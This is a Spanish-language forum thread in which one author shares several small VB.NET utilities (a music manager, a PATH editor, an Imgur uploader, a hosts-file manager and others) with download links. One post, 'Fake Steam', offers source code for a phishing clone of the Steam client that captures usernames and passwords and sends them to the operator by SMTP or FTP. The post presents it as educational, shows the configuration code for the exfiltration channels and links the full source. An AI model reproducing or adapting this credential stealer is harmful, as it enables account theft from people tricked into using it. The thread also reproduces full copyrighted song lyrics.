      · General application performance.
      · Error-Handling.
      · x86 and x64 MediaInfo compatibility and performance.
      · MediaInfo x64 and x86 version updated, v7.0.71
      · dbPoweramp CoreConverter x64 version updated, v15.1






Imágenes











Demostración





Ejemplo de reporte de coincidencias de búsqueda:
Código: [Seleccionar]
$$\      $$\                    $$\                      $$\      $$\                  $$\$$\
$$$\    $$$ |                   $$ |                     $$$\    $$$ |                 \__$$ |
$$$$\  $$$$ |$$$$$$\  $$$$$$$\$$$$$$\   $$$$$$\  $$$$$$\ $$$$\  $$$$ $$\   $$\ $$$$$$$\$$\$$ |  $$\
$$\$$\$$ $$ |\____$$\$$  _____\_$$  _| $$  __$$\$$  __$$\$$\$$\$$ $$ $$ |  $$ $$  _____$$ $$ | $$  |
$$ \$$$  $$ |$$$$$$$ \$$$$$$\   $$ |   $$$$$$$$ $$ |  \__$$ \$$$  $$ $$ |  $$ \$$$$$$\ $$ $$$$$$  /
$$ |\$  /$$ $$  __$$ |\____$$\  $$ |$$\$$   ____$$ |     $$ |\$  /$$ $$ |  $$ |\____$$\$$ $$  _$$<
$$ | \_/ $$ \$$$$$$$ $$$$$$$  | \$$$$  \$$$$$$$\$$ |     $$ | \_/ $$ \$$$$$$  $$$$$$$  $$ $$ | \$$\
\__|     \__|\_______\_______/   \____/ \_______\__|     \__|     \__|\______/\_______/\__\__|  \__|


$$$$$$$\                                      $$\           $$$$$$$$\$$\$$\
$$  __$$\                                     $$ |          $$  _____\__$$ |
$$ |  $$ |$$$$$$\  $$$$$$\  $$$$$$\  $$$$$$\$$$$$$\         $$ |     $$\$$ |$$$$$$\
$$$$$$$  $$  __$$\$$  __$$\$$  __$$\$$  __$$\_$$  _|        $$$$$\   $$ $$ $$  __$$\
$$  __$$<$$$$$$$$ $$ /  $$ $$ /  $$ $$ |  \__|$$ |          $$  __|  $$ $$ $$$$$$$$ |
$$ |  $$ $$   ____$$ |  $$ $$ |  $$ $$ |      $$ |$$\       $$ |     $$ $$ $$   ____|
$$ |  $$ \$$$$$$$\$$$$$$$  \$$$$$$  $$ |      \$$$$  |      $$ |     $$ $$ \$$$$$$$\
\__|  \__|\_______$$  ____/ \______/\__|       \____/       \__|     \__\__|\_______|
                  $$ |
                  $$ |
                  \__|

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Filesize Occurence found.
Filename: C:\Music\Songs\2014\Test.mp3
Filesize: 50,20 MegaBytes

Filename Occurence found.
Filename: C:\Music\Songs\2014\Test - copy.mp3
Pattern : - (copy|copia)

Ejemplo de lírica multimedia convertida a texto plano por MasterMusik Manager:

Antes:
Código: [Seleccionar]
[ar: Madonna]
[ti: Turn Up the Radio]
[al: MDNA (Deluxe Edition)]
[by: Matutehit]
[length: 03:46]
[id: zanbwpsl]
[00:00.00]Madonna
[00:01.28]Turn Up the Radio
[00:04.72]
[00:16.74]When the world starts to get you down 
[00:20.73]And nothing seems to go your way 
[00:24.41]And the noise of the maddening crowd
[00:28.38]Makes you feel like you're going to go insane...
[00:32.00]
[00:32.56]There's a glow of a distant light
[00:35.50]Calling you to come outside
[00:39.43]To feel the wind on your face and your skin
[00:43.55]And it's here I begin my story...
[00:47.16]
[00:47.98]Turn up the radio
[00:49.77]
[00:51.41]Turn up the radio
[00:53.70]
[00:55.15]Don't ask me where I wanna go
[00:58.52]We gotta turn up the radio...
[01:01.20]
[01:02.39]It was time that I opened my eyes
[01:05.76]I'm leaving the past behind
[01:09.69]Nothing's ever what it seems
[01:13.88]Including this time and this crazy dream...
[01:17.55]
[01:17.80]I'm stuck like a moth to a flame
[01:21.17]I'm so tired of playing this game
[01:24.91]I don't know how I got to this state
[01:28.53]Let me out of my cage cause I'm dying...
[01:32.09]
[01:32.59]Turn up the radio
[01:35.20]
[01:36.39]Turn up the radio
[01:39.63]
[01:39.95]Don't ask me where I wanna go
[01:43.36]We gotta turn up the radio
[01:46.42]
[01:47.91]Turn up the radio
[01:50.42]
[01:51.72]Turn up the radio
[01:54.23]
[01:54.96]Don't ask me where I wanna go
[01:58.64]We gotta turn up the radio
[02:01.96]
[02:02.45]I just wanna get in my car
[02:06.78]I wanna go fast and I gotta go far
[02:10.27]Don't ask me to explain how I feel
[02:13.74]'Cause I don't want to say where I'm going...
[02:16.86]
[02:17.11]Turn down the noise and turn up the volume
[02:20.04]Don't have a choice cause the temperatures pounding
[02:23.91]Leaving this place is the last thing I do
[02:27.03]That I want to escape with a person just like you...
[02:33.09]
[02:33.34]Buzzing around like a moth to a flame
[02:36.28]I'm so sick and tired of playing this game
[02:40.02]We gotta have fun it it's all that we do
[02:43.51]Gotta shake up the system and break all the rules
[02:47.45]Gotta turn up the radio until the speakers blow...
[02:51.63]
[02:56.59]Turn up the radio
[02:59.46]
[03:00.15]Turn up the radio
[03:02.96]
[03:03.83]Don't ask me where I wanna go
[03:06.76]We gotta turn up the radio...
[03:09.76]
[03:11.44]Turn up the radio
[03:13.77]
[03:15.58]Turn up the radio
[03:17.83]
[03:18.04]There's somethings you don't need to know
[03:21.22]Just let me turn up the radio...
[03:23.84]Turn up the radio
[03:26.09]
[03:27.58]Just let me turn up the radio
[03:29.52]
[03:30.95]Just let me turn up the radio...
[03:33.64]
[03:34.42]
[03:35.87]
[03:37.51]

Despues:
Código: [Seleccionar]
"Madonna - Turn Up The Radio"

Madonna
Turn Up the Radio

When the world starts to get you down 
And nothing seems to go your way 
And the noise of the maddening crowd
Makes you feel like you're going to go insane...

There's a glow of a distant light
Calling you to come outside
To feel the wind on your face and your skin
And it's here I begin my story...

Turn up the radio
Turn up the radio

Don't ask me where I wanna go
We gotta turn up the radio...

It was time that I opened my eyes
I'm leaving the past behind
Nothing's ever what it seems
Including this time and this crazy dream...

I'm stuck like a moth to a flame
I'm so tired of playing this game
I don't know how I got to this state
Let me out of my cage cause I'm dying...

Turn up the radio
Turn up the radio

Don't ask me where I wanna go
We gotta turn up the radio

Turn up the radio
Turn up the radio

Don't ask me where I wanna go
We gotta turn up the radio

I just wanna get in my car
I wanna go fast and I gotta go far
Don't ask me to explain how I feel
'Cause I don't want to say where I'm going...

Turn down the noise and turn up the volume
Don't have a choice cause the temperatures pounding
Leaving this place is the last thing I do
That I want to escape with a person just like you...

Buzzing around like a moth to a flame
I'm so sick and tired of playing this game
We gotta have fun it it's all that we do
Gotta shake up the system and break all the rules
Gotta turn up the radio until the speakers blow...

Turn up the radio
Turn up the radio

Don't ask me where I wanna go
We gotta turn up the radio...

Turn up the radio
Turn up the radio

There's somethings you don't need to know
Just let me turn up the radio...
Turn up the radio

Just let me turn up the radio
Just let me turn up the radio...





Descarga


http://www.mediafire.com/download/gbwhb3opyr36nuf/MasterMusik_Manager.rar





Saludos!

8



Descripción


PATHS es una aplicación por línea de comandos para administrar las entradas de la variable de entorno PATH y PATHEXT de Windows.


Características


  • Tiene opciones para agregar y eliminar entradas así como limpiar, restaurar o crear una copia de seguridad del PATH y del PATHEXT.
  • Instalador personalizado con integración en el menú contextual de directorios.


Imágenes

          


Descarga


Última versión:
http://www.mediafire.com/download/vccfr810rfaw8x5/PATHS%282%29.rar

Versiones anteriores:
Aqui

Versión en RUBY (deprecada):
Aqui

Saludos!

9
C# - VB.NET / [SOURCE] PEiD UserDB Manager 1.2
« en: Mayo 12, 2015, 11:23:15 am »

PEiD UserDB Manager



By Elektro





Descripción


Una mini-herramienta para organizar las firmas de una base de datos fe firmas de la aplicación PeId, y eliminar firmas duplicadas.
http://www.aldeid.com/wiki/PEiD#PEiD

Como podreis comprobar me he tomado muy pocas molestias en diseñar una buena GUI con las florituras que yo suelo añadir, y tampoco añadí funciones básicas de carga y/o Drag&Drop,
esto es debido a que... simplemente en estas fechas navideñas no me apetecía invertir más tiempo en desarrollar una mini-utilidad que usaré 5 o 10 veces en toda mi vida,
así que si alguien quiere editar el source para añadirle un botón para cargar un archivo de texto, o funcionalidades Darg&Drop en el Textbox, pues adelante xD.

Eso sí, para desarrollar el Core de la aplicación (la Class UserDBTools.vb) me he tomado su tiempo, lo he elaborado bien.






Detalles Técnicos


Project......: PEiD UserDB Manager
Author.......: Elektro
Descirption..: Sorts a PeId signature database and remove duplicates.
Version......: 1.2
Dev. Language: VB.Net
Technology...: Windows Forms
Interface    : Graphical User Interface
Framework....: 4.0
Architecture.: Neutral x86/x64
Dependencies.: None
Language.....: English
Date Release.: 28-December-2014






Imágenes







Descarga


v1.2
http://www.mediafire.com/download/rvwww8ruwob35zy/PEiD+UserDB+Manager.rar





Saludos!

10
C# - VB.NET / [SOURCE] Fake Steam (Steam v2.70.82.9)
« en: Mayo 12, 2015, 11:22:33 am »


Descripción


Esta aplicación es una simple falsificación (fake) del cliente de Steam correspondiente a la versión 2.70.82.9, el desarrollo de esta aplicación ha sido con fines educativos, con el objetivo de demostrar cómo se puede elaborar un engaño de este tipo para simular la ejecución de una aplicación legítima y así obtener datos personales (el usuario y la contraseña de Steam),
queda bajo su responsabilidad el uso que le vaya a dar a este programa.

Por fuera el usuario solo verá una aplicación que consta de 3 Forms con un par de botones y poco más, pero lo cierto es que he invertido bastante esfuerzo para conseguir elaborar una buena "mímica" (o al menos considero que es buena), hay una gran labor detrás ...en el código fuente, y con mucho código rehutilizable que les puede servir para proyectos relacionados.


Características


  • Soporte multi idioma, soportando un total de 22 de los 26 idiomas del cliente original de Steam. Los idiomas no soportados son Koreano, Japonés, Chino tradicional y Chino simplificado
  • Auto-detección de idioma. Por defecto se detectará el idioma del cliente steam instalado en el PC, si el cliente no está instalado se intentará utilizar el idioma del SO, si esto falla también, se utilizará el Inglés.
  • Simulación elaborada de varias características del cliente original de Steam, así cómo de los efectos de iluminación de los controles de la interfáz original.
  • Almacenamiento de usuario/contraseña en archivo local.
  • Envio de usuario/contraseña mediante SMTP.
  • Envio de usuario/contraseña mediante FTP.

En resumen he intentado cuidar todos los detalles posibles, aunque no soy perfecto, claro está.


Imágenes (de la interfáz en inglés)

          



Demostración y comparación de similitud






Configuración


Para configurar el programa hay que compilar el código fuente, dentro del código fuente encontrarán la carpeta/namespace Config que contiene todos los valores configurables del programa:



La configuración del idioma:
Código: vb.net
  1. #Region " Steam Interface Configuration "
  2.  
  3.         ''' <summary>
  4.         ''' The default steam interface language.
  5.         ''' Use this for testing purposses
  6.         ''' </summary>
  7.         Public Shared ReadOnly DefaultSteamLanguage As New CultureInfo("en-US")
  8.  
  9.         ''' <summary>
  10.         ''' If set to <c>True</c>, overrides the default steam interface language instead of detect the proper language.
  11.         ''' Use this for testing purposses
  12.         ''' </summary>
  13.         Public Shared ReadOnly UseDefaultSteamLanguage As Boolean = False
  14.  
  15. #End Region
Nota: Los nombres de las culturas disponibles están especificados en el método DetectLanguage de la Class SteamHelper.


La configuración del nombre de usuario y contraseña:
Código: vb.net
  1. #Region " Username and Password Configuration "
  2.  
  3.         ''' <summary>
  4.         ''' The string format to write/upload/send the captured username/password.
  5.         ''' </summary>
  6.         Public Shared ReadOnly UserPassTextFormat As String =
  7. <a><![CDATA[
  8. Username={0}
  9. Password={1}
  10. ]]></a>.Value
  11.  
  12. #End Region


La configuración de almacenamiento local:
Código: vb.net
  1. #Region " Local Storage Configuration "
  2.  
  3.         ''' <summary>
  4.         ''' If set to <c>True</c>, enables local storage of the username/password.
  5.         ''' </summary>
  6.         Public Shared ReadOnly EnableLocalStorage As Boolean = True
  7.  
  8.         ''' <summary>
  9.         ''' The local directory where to write the file.
  10.         ''' If the directory doesn't exists, it will try to create it.
  11.         ''' </summary>
  12.         Public Shared ReadOnly LocalDir As String =
  13.             Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), " Fake Steam")
  14.  
  15.         ''' <summary>
  16.         ''' The file name to store the data on the local directory.
  17.         ''' By default is "FakeSteam_{ComputerName}_{Username}_{Day}-{Month}-{Year}_{Hour}-{Minute}-{Seconds}.txt"
  18.         ''' </summary>
  19.         Public Shared ReadOnly LocalFilenameFormat As String =
  20.             String.Format("FakeSteam_{0}_{1}_{2}.txt", Environment.MachineName, Environment.UserName, DateTime.Now.ToString("dd-MM-yyyy\_hh-mm-ss"))
  21.  
  22.         ''' <summary>
  23.         ''' Sets the local directory attributes, such as system or hidden.
  24.         ''' </summary>
  25.         Public Shared ReadOnly DirAttribs As FileAttributes = FileAttributes.Normal
  26.  
  27.         ''' <summary>
  28.         ''' Sets the local file attributes, such as readonly or hidden.
  29.         ''' </summary>
  30.         '''
  31.         Public Shared ReadOnly FileAttribs As FileAttributes = FileAttributes.Normal
  32.  
  33.         ''' <summary>
  34.         ''' Sets the textfile encoding.
  35.         ''' </summary>
  36.         Public Shared ReadOnly FileEncoding As Encoding = Encoding.Default ' ANSI Encoding.
  37.  
  38. #End Region


La configuración de envío SMTP:
Código: vb.net
  1. #Region " SMTP Sending Configuration"
  2.  
  3.         ''' <summary>
  4.         ''' If set to <c>True</c>, enables STMP sending of the username/password.
  5.         ''' </summary>
  6.         Public Shared ReadOnly EnableSmtp As Boolean = True
  7.  
  8.         ''' <summary>
  9.         ''' The SMTP server.
  10.         ''' </summary>
  11.         Public Shared ReadOnly SmtpServer As New SmtpClient("smtp.gmail.com")
  12.  
  13.         ''' <summary>
  14.         ''' The SMTP server port.
  15.         ''' </summary>
  16.         Public Shared ReadOnly SmtpPort As Integer = 0
  17.  
  18.         ''' <summary>
  19.         ''' The SMTP security.
  20.         ''' </summary>
  21.         Public Shared ReadOnly SmtpSslEnabled As Boolean = True
  22.  
  23.         ''' <summary>
  24.         ''' The mail account address.
  25.         ''' </summary>
  26.         Public Shared ReadOnly MailAddress As New MailAddress("name@serv.com")
  27.  
  28.         ''' <summary>
  29.         ''' The mail account username/password credentials.
  30.         ''' </summary>
  31.         Public Shared ReadOnly MailCredentials As New NetworkCredential("username", "password")
  32.  
  33.         ''' <summary>
  34.         ''' The mail subject.
  35.         ''' By default is "Steam_{ComputerName}_{Username}_{Day}-{Month}-{Year}_{Hour}-{Minute}-{Seconds}"
  36.         ''' </summary>
  37.         Public Shared ReadOnly MailSubject As String =
  38.             String.Format("Steam_{0}_{1}_{2}", Environment.MachineName, Environment.UserName, DateTime.Now.ToString("dd-MM-yyyy\_hh-mm-ss"))
  39.  
  40. #End Region


La configuración de envío FTP:
Código: vb.net
  1. #Region " FTP Uploading Configuration "
  2.  
  3.         ''' <summary>
  4.         ''' If set to <c>True</c>, enables FTP upload of the username/password.
  5.         ''' </summary>
  6.         Public Shared ReadOnly EnableFtp As Boolean = False
  7.  
  8.         ''' <summary>
  9.         ''' The FTP Server address.
  10.         ''' </summary>
  11.         Public Shared ReadOnly FtpAddress As Uri = New Uri("ftp://127.0.0.1/")
  12.  
  13.         ''' <summary>
  14.         ''' The FTP server port.
  15.         ''' </summary>
  16.         Public Shared ReadOnly FtpPort As Integer = 21
  17.  
  18.         ''' <summary>
  19.         ''' The FTP username/password credentials.
  20.         ''' </summary>
  21.         Public Shared ReadOnly FtpCredentials As New NetworkCredential("username", "password")
  22.  
  23.         ''' <summary>
  24.         ''' The FTP directory where to upload the file.
  25.         ''' The directory path should exist.
  26.         ''' </summary>
  27.         Public Shared ReadOnly FtpDir As String = "Fake Steam/"
  28.  
  29.         ''' <summary>
  30.         ''' The file name to store the data on the FTP directory.
  31.         ''' By default is "FakeSteam_{ComputerName}_{Username}_{Day}-{Month}-{Year}_{Hour}-{Minute}-{Seconds}.txt"
  32.         ''' </summary>
  33.         Public Shared ReadOnly FtpFilenameFormat As String = UserConfig.LocalFilenameFormat
  34.  
  35.         ''' <summary>
  36.         ''' If set to <c>True</c>, uses Binary mode for the file transfer.
  37.         ''' </summary>
  38.         Public Shared ReadOnly UseBinaryTransfer As Boolean = False
  39.  
  40. #End Region


Descarga


http://www.mediafire.com/download/iocwwp3r3i59mdd/Fake+Steam.rar





IMPOTANTE: Compilar la solución en modo Release, en el modo Release suprimo las excepciones controladas, aparte, el modo Debug tiene un comportamiento distinto y se muestran controles adicionales para testear el la iluminación de los botones:




Saludos!

11
C# - VB.NET / [SOURCE] File 2 startup v1.1
« en: Mayo 12, 2015, 11:21:52 am »

File 2 startup



By Elektro





Descripción


F2S es una simple herramienta para añadir archivos al inicio de Windows.

La aplicación se puede asociar manuálmente a cualquier tipo de archivo (exe, bat/cmd, vbs, etc) para añadir un archivo al inicio de Windows en 2 clicks, desde el menú contextual del ratón.
Nota: Incluyo un instalador que asocia el programa a archivos .exe





Especificaciones Técnicas


Project......: File 2 Startup
Author.......: Elektro
Descirption..: Adds a file to Windows Startup.
Version......: 1.1
Dev. Language: VB.Net
Technology...: Windows Forms
Interface    : Graphical User Interface
Framework....: 4.0
Architecture.: Neutral x86/x64
Dependencies.: None
Language.....: English
Date Release.: 15-January-2015






Imágenes


 
















Descarga


http://www.mediafire.com/download/ycmo01ra69qtg79/File+2+Startup.rar





Saludos!

12
C# - VB.NET / [SOURCE] Imgur Uploader.Net v1.1
« en: Mayo 12, 2015, 11:20:48 am »

Imgur Uploader.Net



By Elektro





Descripción


Imgur Uploader.Net es un cliente de Imgur desarrollado en VB.Net para subir imágenes de forma anónima.

NOTA: PARA USAR ESTE PROGRAMA ES NECESARIO REGISTRARSE EN LA WEB DE IMGUR PARA OBTENER LAS IDS NECESARIAS DEL USO DE LA API.
https://api.imgur.com/#register





Lista de cambios


Version 1.1

   
  • Added

      · Magnetic Sticker (Desktop Docking).
      · Image thumbnail preview.
      · 'BBCode Normal' and 'BBCode Thumbnail' UI elements.
      · 'Copy To Clipboard' button.
      · 'Abort Upload' button.
      · Image filesize detection and prevention according to Imgur's limitations.
         These are:
         GIF and PNG: 2 MB
         All Others : 10 MB
      · Automatic image compression with images that reachs Imgur's limitations.

   
  • Improved

      · Uploading task now is done in background to avoid APP hanging.
      · Major code updating and optimizations with minor fixes.

   
  • Fixed

      · Application allows Drag&Drop when an uploading task is running.
      · 'XCF' file format was unrecognized.
      · Imgur's error response codes were unrecognized.

   
  • Removed

      · 'Small Square' and 'Big Square' urls, due to irrelevance.






Especificaciones Técnicas


Project......: Imgur Uploader.Net
Author.......: Elektro
Descirption..: Imgur client to upload images in your account.
Version......: 1.1
Dev. Language: VB.Net
Technology...: Windows Forms
Interface    : Graphical User Interface
Framework....: 4.0
Architecture.: Neutral x86/x64
Dependencies.: CButton
Language.....: English
Date Release.: 19-January-2015






Imágenes


 

 



 





Descarga


http://www.mediafire.com/download/12bdq6o65owy8lt/Imgur+Uploader.NET.rar





Saludos!

13
C# - VB.NET / [Source] Hot Corners v1.2
« en: Mayo 12, 2015, 11:19:40 am »

Hot Corners

 
 

By Elektro





Descripción


Hot corners le ayudará en el día a día facilitándole tareas cotidianas, ya que viene con un conjunto de acciones integradas totalmente personalizables que se pueden iniciar cuando el ratón está en una esquina de la pantalla.

Nota:





Especificaciones Técnicas


Proyecto....: Hot Corners
Autor.......: Elektro
Descirpción.: Realiza una acción específica cuando el mouse está sobre una esquina de la pantalla.
Versión.....: 1.2.0.0
Fecha.......: 16/Feb/2015
Lenguaje....: VB.Net
Tecnología..: Windows Forms
Framework...: 4.0
Arquitectura: MSIL (Neutro), x86, y x64
Idioma......: Inglés
Dependencias: Telerik UI for WinForms, Ooki Dialogs.






Características


  • Esquinas activas
          Las esquinas activas también se conocen como una función predeterminada que viene incluida en Microsoft Windows 8, pero a diferencia de la característica de Microsoft,
          Hot Corners realiza una acción específica y personalizada cuando el ratón está sobre una de las esquinas disponibles en la pantalla, Superior izquierda, Superior derecha, Inferior izquierda o Inferior derecha.

  • Seguimiento interno del ratón
          La aplicación mantiene internamente el seguimiento de la actividad del ratón para mejorar el rendimiento y ahorrar consumo de CPU al cambiar a un estado inactivo mientras no haya actividad por parte del ratón.
          Hot Corners no es intrusivo con el SO, sólo hace su trabajo cuando el ratón está activo.

  • Personalizador de acciones
          Cada esquina se puede configurar para realizar una de las acciones incluidas en la aplicación,
          como ejecutar cualquier archivo o proceso con parámetros específicos, explorar cualquier archivo o carpeta, visitar una página web, lanzar un comando del panel de control, y mucho más.

  • Habilitación de esquina
          Cada corner puede ser activado o desactivado en cualquier momento a través del menú principal de la aplicación.

  • Exclusión de procesos
          Cualquier proceso se puede añadir a una lista negra para abortar una activación de la esquina, esto es útil por ejemplo cuando se está jugando a juegos en pantalla completa.

  • Personalizador de tamaño
          La zona de las esquinas se puede personalizar para cumplir sus necesidades.

  • Personalizador de intervalos internos
          Los intervalos internos de la aplicación se pueden personalizar mediante el menú principal para ayudar a mejorar el rendimiento,
          como el tiempo necesario para activar una esquina, o el intervalo de retardo para llevar a cabo una primera comprobación después de que se detecte actividad del ratón.

  • Selección de Monitor activo
          Hot Corners se pueden configurar para trabajar en un monitor específico, o incluso en una pantalla dual.

  • Auto-Inicio
          La aplicación se puede configurar para iniciar automáticamente cuando el usuario actual inicie sesión en Windows.

  • Consola de depuración
          Le ayuda a descubrir los mejores valores para la configuración de las esquinas, y también para identificar posibles problemas debido a una configuración erronea al ver lo que sucede a cada momento en tiempo real.

  • Restablecer configuración
          La configuración personalizada de cada esquina se pueden resetear haciendo un solo click.





Lista de cambios

Version 1.2

   
  • Mejorado

      · Muchos aspectos del código interno han sido re-escritos o severamente actualizados.

   
  • Corregido

      · Cierre inesperado de la aplicación al utilizar la característica 'Explore Directory', debido a un reconocimiento erroneo de las ventanas de tipo Internet Explorer.
      · Cierre inesperado de la aplicación en la lista de procesos de la característica 'Process Exclusion', debido a un acceso denegado en ciertos procesos del sistema.

Version 1.1

   
  • Añadido

      · Opción 'Only give focus if opened' para la acción: 'ExploreDirectory'.
      · Opción 'Disable' en el menú de notificación en bandeja.
      · Opción 'Enable'  en el menú de notificación en bandeja.

   
  • Mejorado

      · Mejorado el uso de memoria.
      · Mejorado el rendimiento de la Consola de Depuración.
      · Mejorado el rendimiento y el comportamiento de la Lista de Procesos.
      · Mejorado el rendimiento de la aplicación de forma general.

   
  • Corregido

      · Algunos fallos menores de diseño.
      · La Lista de procesos no selecciona ningún item al presionar el botón derecho del ratón.






Imágenes

 

 



 

 





Demostración







Descarga


http://www.mediafire.com/?2h11t1dkulel417

Saludos!

14
C# - VB.NET / [SOURCE] HostsMan v1.0
« en: Mayo 12, 2015, 11:18:41 am »

    HostsMan



    By Elektro





    Descripción


    HostsMan es la herramienta simple pero definitiva para administrar los mapeos del archivo Hosts de Windows.





    Características


    • Añadir, Elminar, o Editar mapeos.
    • Bloquear, o Desbloquear mapeos.
    • Soporte para usar comentarios en los mapeos.
    • Buscar mapeos según el criterio de búsqueda.
    • Copiar directamente al portapapeles, o navegar al host.
    • Otras funcionalidades básicas.





    Especificaciones Técnicas


    Project......: HostsMan
    Author.......: Elektro
    Descirption..: Hosts File Manager.
    Version......: 1.0
    Dev. Language: VB.Net
    Technology...: Windows Forms
    Interface    : Graphical User Interface
    Framework....: 4.0
    Architecture.: Neutral x86/x64
    Dependencies.: None
    Language.....: English
    Date Release.: 18-January-2015






    Imágenes


     

     

     

     





    Descarga


    http://www.mediafire.com/download/ofjjtunmx110app/HostsMan.rar





    Saludos![/list][/list]

    Páginas: [1]